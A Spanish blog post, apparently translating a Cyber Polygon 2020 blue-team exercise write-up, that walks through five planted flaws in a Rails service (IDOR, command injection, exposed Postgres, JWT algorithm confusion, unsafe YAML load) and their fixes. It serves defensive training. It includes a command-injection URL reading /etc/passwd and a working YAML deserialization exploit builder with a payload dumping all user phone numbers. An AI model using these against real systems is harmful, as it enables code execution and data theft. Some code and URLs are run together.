La infraestructura virtual de una organización contenía un servicio que procesaba información confidencial de un cliente. Este servicio se convirtió en punto de interés de un grupo APT. Los ciberdelincuentes iban a robar datos confidenciales de los usuarios y luego revenderlos en la Darknet para recibir un beneficio económico y dañar la reputación de la empresa. El grupo APT estudió el sistema de destino previamente y descubrió varias vulnerabilidades críticas. El Actor lanzó el ataque el día del ejercicio.
Y ese era el eje central. Sin embargo, durante la capacitación de Cyber Polygon, no se esperaba que los participantes se atacaran entre sí; todo lo que tenían que hacer era proteger sus propios servicios. Por lo tanto se tuvieron que poner sólo la chaqueta de azulones/Blue Teams y sus objetivos eran:
- contener el ataque lo más rápido posible
- minimizar la cantidad de información robada
- mantener la disponibilidad del servicio
A cada equipo participante se le proporcionó un servidor virtual Linux con un servicio con 5 vulnerabilidades que debían proteger:
1. Insecure Direct Object References (IDOR)
La vulnerabilidad conocida como referencia de objeto directo inseguro (IDOR) es causada por fallos en los mecanismos de autorización. La vulnerabilidad permite que un atacante obtenga acceso a datos de usuario que de otro modo serían inaccesibles. Concretamente ésta estaba en el método get de la clase UsersController.
backend/app/controllers/users_controller.rb:
def get
user = User.find(params[:id])
if params[:full].present?
json_response({
id: user.id,
name: user.name,
email: user.email,
phone: user.phone
})
else
json_response({
id: user.id,
name: user.name
})
end
end
Al llamar a la dirección http://example.com/api/users/
if params[:full].present?
json_response({
id: user.id,
name: user.name,
email: user.email,
phone: user.phone
})
Había que tener en cuenta que si se transmite el parámetro completo en una petición, la respuesta del servidor devolvía más datos: además del ID y el nombre de usuario, contenía su correo electrónico y número de teléfono. Las flags estaban almacenadas y podían ser robadas del campo user.phone en el directorio del servicio del juego (esta actividad podría detectarse, por ejemplo, analizando el tráfico de la red). Por lo tanto sólo había que mandar una petición del tipo http://example.com/api/users/def get
user = User.find(params[:id])
if params[:full].present?
# Masking user's phone number
uphone = user.phone
x = 5
y = uphone.length - 3
replacement = '*'*(y-x)
uphone[x..y] = replacement
json_response({
id: user.id,
name: user.name,
email: user.email,
phone: uphone
})
else
json_response({
id: user.id,
name: user.name
})
end
end
Con esa config el equipo atacante habría obtenido una flag incompleta como Polyg********X}.
2. Inyección de comandos
def disk_stats
if params[:flags].present?
flags = params[:flags]
else
flags = ''
end
json_response({
disk: `df #{flags}`
})
end
Al llamar a la URL http://example.com/api/disk_stats, el servicio respondía con la utilidad df del sistema de salida en el campo del disco del objeto JSON, que permitía evaluar la cantidad de espacio libre en el sistema de archivos.
El comando que se llamaba fue diseñado para transmitir varios parámetros, pero su valor no se filtra:
if params[:flags].present?
flags = params[:flags]
~~~~~~~~~~~~~~~~~~~~~~~~~~
json_response({
disk: `df #{flags}`
})
Esto significa que un atacante puede ejecutar prácticamente cualquier comando del sistema utilizando una sintaxis especial. Por ej. http://example.com/api/disk_stats?flags=;cat /etc/passwd def disk_stats
json_response({
disk: `df`
})
end
3. Configuración incorrecta de seguridad o misconfiguration
db:
image: postgres
restart: always
network_mode: bridge
volumes:
- ./db_data:/var/lib/postgresql/data
ports:
- 5432:5432
environment:
POSTGRES_DB: ch4ng3
POSTGRES_USER: ch4ng3
POSTGRES_PASSWORD: ch4ng3
Como puede ver, el puerto de la base de datos estaba disponible desde la red externa. Además, el servidor de la base de datos utilizaba lo mismo como nombre de base de datos, nombre de usuario y contraseña, que también coincidía con el servicio ch4ng3.org. SELECT phone FROM users WHERE phone LIKE 'Polygon%'
Para protegerse contra esta vulnerabilidad, la solución ideal habría sido prohibir conectarse externamente a la base de datos y/o cambiar la contraseña del usuario de la base de datos (con el servicio api reconfigurado en consecuencia):
db:
image: postgres
restart: always
network_mode: bridge
volumes:
- ./db_data:/var/lib/postgresql/data
environment:
POSTGRES_DB: ch4ng3
POSTGRES_USER: ch4ng3
POSTGRES_PASSWORD: <VERY_SECRET_PASSWORD>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
environment:
- DATABASE_URL=postgres://ch4ng3:<VERY_SECRET_PASSWORD>@db:5432/ch4ng3?sslmode=disable
4. Cambio de algoritmo de firma JWT
def self.decode(token, algorithm)
# cannot store key as ruby object in yaml file
public_key = Rails.application.secrets.public_key_base
if algorithm == 'RS256'
public_key = OpenSSL::PKey::RSA.new(public_key)
end
# get payload; first index in decoded array
body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]
HashWithIndifferentAccess.new body
# rescue from expiry exception
rescue JWT::ExpiredSignature, JWT::VerificationError => e
# raise custom error to be handled by custom handler
raise ExceptionHandler::InvalidToken, e.message
end
Las siguientes líneas merecen especial atención:
public_key = Rails.application.secrets.public_key_base
if algorithm == 'RS256'
public_key = OpenSSL::PKey::RSA.new(public_key)
end
# get payload; first index in decoded array
body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]
La aplicación carga la línea con la clave pública de servicio desde el archivo de configuración y, cuando se ha transmitido un algoritmo RS256 en el token, convierte esa línea en una clave pública RSA, que se utiliza además para verificar la firma del token.
Hay que tener en cuenta que si se transmite cualquier otro valor en el parámetro del algoritmo, la línea de clave pública no se convertirá. Si el valor HS256 se envía al campo alg JWT, el algoritmo simétrico HMAC se utilizará para la verificación de la firma del token, y exactamente esta línea de clave pública se utilizará como clave para verificar la firma del token. def self.decode(token, algorithm)
# cannot store key as ruby object in yaml file
public_key = Rails.application.secrets.public_key_base
if algorithm == 'RS256'
public_key = OpenSSL::PKey::RSA.new(public_key)
else
raise ExceptionHandler::InvalidToken, Message.invalid_token
end
# get payload; first index in decoded array
body = JWT.decode(token, public_key, true, {:algorithm => algorithm})[0]
HashWithIndifferentAccess.new body
# rescue from expiry exception
rescue JWT::ExpiredSignature, JWT::VerificationError => e
# raise custom error to be handled by custom handler
raise ExceptionHandler::InvalidToken, e.message
end
Ahora, si envía un valor que no sea RS256 al campo alg del token, el token se marcará como no válido y el equipo atacante no podrá acceder a la aplicación en nombre de otros usuarios firmando tokens con la clave pública del servicio.
5. Deserialización insegura de YAML
La última vulnerabilidad se asoció con la deserialización insegura de YAML. El método de importación de la clase PetitionsController fue responsable de importar peticiones a través de su descripción en formato YAML.
backend/app/controllers/petitions_controller.rb:
def import
yaml = Base64.decode64(params[:petition])
begin
petition = YAML.load(yaml)
rescue Psych::SyntaxError => e
json_response({message: e.message}, 500)
return
rescue => e
json_response({message: e.message, trace: ([e.message]+e.backtrace).join($/)}, 500)
return
end
if petition['created_at']
petition = current_user.petitions.create!(text: petition['text'], title: petition['title'], created_at: petition['created_at'])
else
petition = current_user.petitions.create!(text: petition['text'], title: petition['title'])
end
petition.signs.create!(petition_id: petition.id, user_id: current_user.id)
json_response(petition)
end
Se debería haber prestado especial atención a las siguientes líneas de código:
yaml = Base64.decode64(params[:petition])
begin
petition = YAML.load(yaml)
rescue Psych::SyntaxError => e
json_response({message: e.message}, 500)
return
Como habréis notado, del contenido del objeto YAML se tomaba del parámetro de petición codificado en base64 y luego se conviertía en objetos Ruby usando la estructura YAML.load (yaml). Esta estructura era insegura y permitía, entre otras cosas, la ejecución arbitraria de código Ruby en el sistema de destino dentro de la aplicación vulnerable, que es lo que debió hacer el equipo atacante.
El siguiente script se utilizó para generar un objeto YAML para aprovechar este fallo:
require "erb"
require "base64"
require "active_support"
if ARGV.empty?
puts "Usage: exploit_builder.rb <source_file>"
exit!
end
erb = ERB.allocate
erb.instance_variable_set :@src, File.read(ARGV.first)
erb.instance_variable_set :@lineno, 1
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result
payload = Base64.encode64(Marshal.dump(depr))
puts <<-PAYLOAD
---
!ruby/object:Gem::Requirement
requirements:
- !ruby/object:Rack::Session::Abstract::SessionHash
req: !ruby/object:Rack::Request
env:
rack.session: !ruby/object:Rack::Session::Abstract::SessionHash
loaded: true
HTTP_COOKIE: "a=#{payload}"
store: !ruby/object:Rack::Session::Cookie
coder: !ruby/object:Rack::Session::Cookie::Base64::Marshal {}
key: a
secrets: []
exists: true
PAYLOAD
Se aplicó el siguiente código como payload:
phones = ''
User.all().each do |user|
phones += user.phone + ';'
end
raise phones
El código recibió los números de teléfono de todos los usuarios registrados en el servicio, los combinó mediante (;) y aplicó la estructura raise para provocar una excepción, enviando la línea con los números de teléfono de los usuarios como mensaje de error. Luego, el servidor devolvió el mensaje de error al campo del mensaje de objeto JSON junto con el código de respuesta 500. Una vez que el Equipo atacante recibió esta respuesta, todo lo que tuvo que hacer fue ubicar la flag en el mensaje de error.
Para protegerse contra esta vulnerabilidad, era suficiente reemplazar la llamada de la función YAML.load (yaml) con la llamada de la función YAML.safe_load (yaml). Sin embargo, durante la verificación de disponibilidad, el checker comprobaba que el objeto YAML transmitido permitiera la aplicación de alias. Por lo tanto, la estructura resultante se representa de la siguiente manera: YAML.safe_load (yaml, aliases: true). Y la función segura resultante en consecuencia:
def import
yaml = Base64.decode64(params[:petition])
begin
petition = YAML.safe_load(yaml, aliases: true)
rescue Psych::SyntaxError => e
json_response({message: e.message}, 500)
return
rescue => e
json_response({message: e.message, trace: ([e.message]+e.backtrace).join($/)}, 500)
return
end
if petition['created_at']
petition = current_user.petitions.create!(text: petition['text'], title: petition['title'], created_at: petition['created_at'])
else
petition = current_user.petitions.create!(text: petition['text'], title: petition['title'])
end
petition.signs.create!(petition_id: petition.id, user_id: current_user.id)
json_response(petition)
end
Fuente: https://cyberpolygon.com/materials/stsenariy-defence-raytap-k-tekhnicheskomu-treku-cyber-polygon-2020/
Comentarios
Publicar un comentario